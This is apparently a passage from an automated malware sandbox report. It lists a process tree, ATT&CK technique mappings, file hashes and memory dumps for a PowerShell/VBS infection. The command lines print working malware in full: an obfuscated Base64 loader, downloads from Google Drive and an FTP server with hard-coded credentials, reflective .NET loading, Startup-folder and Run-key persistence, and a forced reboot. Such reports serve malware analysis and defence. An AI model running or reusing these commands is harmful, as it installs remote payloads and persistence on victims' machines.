ЉDsШḆЉIШḆЉШḆЉpШḆЉCcШḆЉcgBnШḆЉDgШḆЉRШḆЉШḆЉ3ШḆЉG8ШḆЉUgBzШḆЉGYШḆЉVgBjШḆЉHIШḆЉMgBuШḆЉEEШḆЉaШḆЉBmШḆЉGgШḆЉVgШḆЉ2ШḆЉEQШḆЉQwB4ШḆЉFIШḆЉcQBuШḆЉHEШḆЉagШḆЉ1ШḆЉGoШḆЉcgBiШḆЉDEШḆЉJwШḆЉgШḆЉCsШḆЉIШḆЉBQШḆЉHШḆЉШḆЉVgBpШḆЉHMШḆЉJШḆЉШḆЉoШḆЉCШḆЉШḆЉPQШḆЉgШḆЉFШḆЉШḆЉcШḆЉBWШḆЉGkШḆЉcwШḆЉkШḆЉHsШḆЉIШḆЉBlШḆЉHMШḆЉbШḆЉBlШḆЉH0ШḆЉOwШḆЉgШḆЉCkШḆЉJwB4ШḆЉDQШḆЉZgBoШḆЉFoШḆЉTQB3ШḆЉE4ШḆЉNwBVШḆЉGUШḆЉXwШḆЉwШḆЉF8ШḆЉNQBfШḆЉGkШḆЉYwBzШḆЉGIШḆЉaШḆЉШḆЉ3ШḆЉEMШḆЉUШḆЉШḆЉwШḆЉEkШḆЉZgBQШḆЉGQШḆЉQQШḆЉyШḆЉDEШḆЉMQШḆЉnШḆЉCШḆЉШḆЉKwШḆЉgШḆЉFШḆЉШḆЉcABWAGkAcwAkACgAIAA9ACAAUABwAFYAaQBzACQAewAgACkAbwBHAGYARABRACQAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAbwBHAGYARABRACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAFAAcABWAGkAcwAkADsAKQAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABhAHQAcwBhAHAAJAAoACAAbABlAGQAOwApACgAaAB0AGEAUABwAG0AZQBUAHQAZQBHADoAOgBdAGgAdABhAFAALgBPAEkALgBtAGUAdABzAHkAUwBbACAAPQAgAGEAdABzAGEAcAAkAHsAIAApAEgAQgBaAGoARgAkACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABIAEIAWgBqAEYAJAAgADsA';$RIyag = $qCybe.replace('ШḆЉ' , 'A') ;$gsoKZ = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $RIyag ) ); $gsoKZ = $gsoKZ[-1..-$gsoKZ.Length] -join '';$gsoKZ = $gsoKZ.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\test.vbs');powershell $gsoKZ
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $FjZBH = $host.Version.Major.Equals(2) ;if ($FjZBH) {$pasta = [System.IO.Path]::GetTempPath();del ($pasta + '\Upwin.msu');$siVpP = 'https://drive.google.com/uc?export=download&id=';$QDfGo = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ($QDfGo) {$siVpP = ($siVpP + '112AdPfI0PC7hbsci_5_0_eU7NwMZhf4x') ;}else {$siVpP = ($siVpP + '1brj5jqnqRxCD6VhfhAn2rcVfsRo7D8gr') ;};$uHUso = (New-Object Net.WebClient);$uHUso.Encoding = [System.Text.Encoding]::UTF8;$uHUso.DownloadFile($URLKB, $pasta + '\Upwin.msu');$FoldStartup = ('C:\Users\' + [Environment]::UserName );$file = ($pasta + '\Upwin.msu'); powershell.exe wusa.exe $file /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\test.vbs' -Destination ( $FoldStartup + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$GAwZn;$lqVmC = (New-Object Net.WebClient);$lqVmC.Encoding = [System.Text.Encoding]::UTF8;$lqVmC.Credentials = new-object System.Net.NetworkCredential('desckvbrat1','developerpro21578Jp@@');$GAwZn = $lqVmC.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$lqVmC.dispose();$lqVmC = (New-Object Net.WebClient);$lqVmC.Encoding = [System.Text.Encoding]::UTF8;$GAwZn = $lqVmC.DownloadString( $GAwZn );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\test.vbs';[Byte[]] $xXzmx = [System.Convert]::FromBase64String( $GAwZn.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $xXzmx ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( '22%313bca6200038df551e4b88f65714a6a22%=v&daolnwod=ecruos&txt.4202.80.7072%72%8-FTUD3%A2%emanelif+B3%22%txt.4202.80.7022%D3%emanelif+B3%tnemhcatta=noitisopsid-tnetnoc-esnopser?txt.6c6e594602ef-641a-63e4-b3cf-e3b80a68/JwRKqupA/smeti/moc.thgiz.ndc.0n.1rt.7p//:sptth' , $hzwje , 'true1' ) );};"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3940
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
        5⤵
        
        PID:3092
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
        5⤵
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4440
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\test.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
        5⤵
        
        PID:5024
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.vbs"
        5⤵
        
        PID:3244
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\test.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
        5⤵
        
        PID:4076
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.vbs"
        5⤵
        
        PID:4064
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\test.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
        5⤵
        
        PID:4408
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.vbs"
        5⤵
        
        PID:3060
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\test.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
        5⤵
        
        PID:896
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.vbs"
        5⤵
        
        PID:368
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\test.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
        5⤵
        
        PID:1500
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.vbs"
        5⤵
        
        PID:4508
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c copy "C:\Users\Admin\AppData\Local\Temp\test.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.vbs"
        5⤵
        
        PID:2244
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\test.vbs"
        5⤵
        
        PID:1028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
334B

MD5
5ab98ce8ec2472ce99e964a15ba8fc43

SHA1
3dba11fbe885eea48ea1f6a483a008bf811b8d1a

SHA256
e275ec4369ba0d9f0fd02352f2776d3df904a4d3f1a7c5d1e040603a03708d4d

SHA512
8a422c6afbcbeb422e3bd0e9763e14d6599ce0886da8125d2779308eb06d3a0d39e643b236d9a438a54bb0de85d103d6b33a8eef4b0ab5ab3102d385527bbfdf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.txt

Filesize
355B

MD5
967eb55005b30c47f32376bc2bcfe01d

SHA1
4e0ef0d27139685f669c2d209517bbb76649a10e

SHA256
1b5d83bb7b160cf7af02f1fcd87dc47a851495339e98e1f3c369337c6b96a31f

SHA512
6d24c54302e9e9f3d8702037a83185279acac8fae1e93b798ad480148f63bee1a34d90c5c9a0da4c1571ed3d4b1d69033137027aac4b9ace9134f9a3a4546062

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
08f9f3eb63ff567d1ee2a25e9bbf18f0

SHA1
6bf06056d1bb14c183490caf950e29ac9d73643a

SHA256
82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

SHA512
425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d4pfztkr.tl4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test.vbs

Filesize
691KB

MD5
56258f68ad095965e7ef46b623d68619

SHA1
780a03a86b36e69f5169905fa52bc352b1c993a2

SHA256
c148847fa77cb45993ded6736c2412bae37c4abb497ac401ffe48ef59172304e

SHA512
4461f4de2fb0dc61e0e0dc62347eca655e4980ad3f222453a3dbfb6533b13b6bee9ee9cbf122db508639968fdb671b42154d1460ac6e967d47b3fd5518f96a3f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
e467b2f8f11b305e773689a4f27755a2

SHA1
8eb59253d448b5a88b1d698015e37d11794f195a

SHA256
083c1172bf023c3aea06641771104bd2b2b1c494e626e2763a6154a8186964bc

SHA512
bfb892279796e322ceb038767959617734e11b89fb4b1d08eeafb0132120281f337ea3c5a20d7878a83e740264f2651159c90231b41b3f9340b216d083e76c89

Download Submit
memory/2836-19-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-11-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-14-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-18-0x00007FFE725E0000-0x00007FFE725F0000-memory.dmp

Filesize
64KB

Download
memory/2836-4-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-17-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-16-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-20-0x00007FFE725E0000-0x00007FFE725F0000-memory.dmp

Filesize
64KB

Download
memory/2836-13-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-12-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-10-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-9-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-8-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-7-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-40-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-44-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-45-0x00007FFEB492D000-0x00007FFEB492E000-memory.dmp

Filesize
4KB

Download
memory/2836-46-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-47-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-15-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-56-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-70-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-3-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-5-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-2-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-136-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-6-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/2836-0-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-1-0x00007FFEB492D000-0x00007FFEB492E000-memory.dmp

Filesize
4KB

Download
memory/2836-132-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-133-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-135-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/2836-134-0x00007FFE74910000-0x00007FFE74920000-memory.dmp

Filesize
64KB

Download
memory/3672-91-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/3672-81-0x0000023BFFC90000-0x0000023BFFCB2000-memory.dmp

Filesize
136KB

Download
memory/3672-71-0x00007FFEB4890000-0x00007FFEB4A85000-memory.dmp

Filesize
2.0MB

Download
memory/3940-137-0x0000029E1E0F0000-0x0000029E1E0FA000-memory.dmp

Filesize
40KB

Download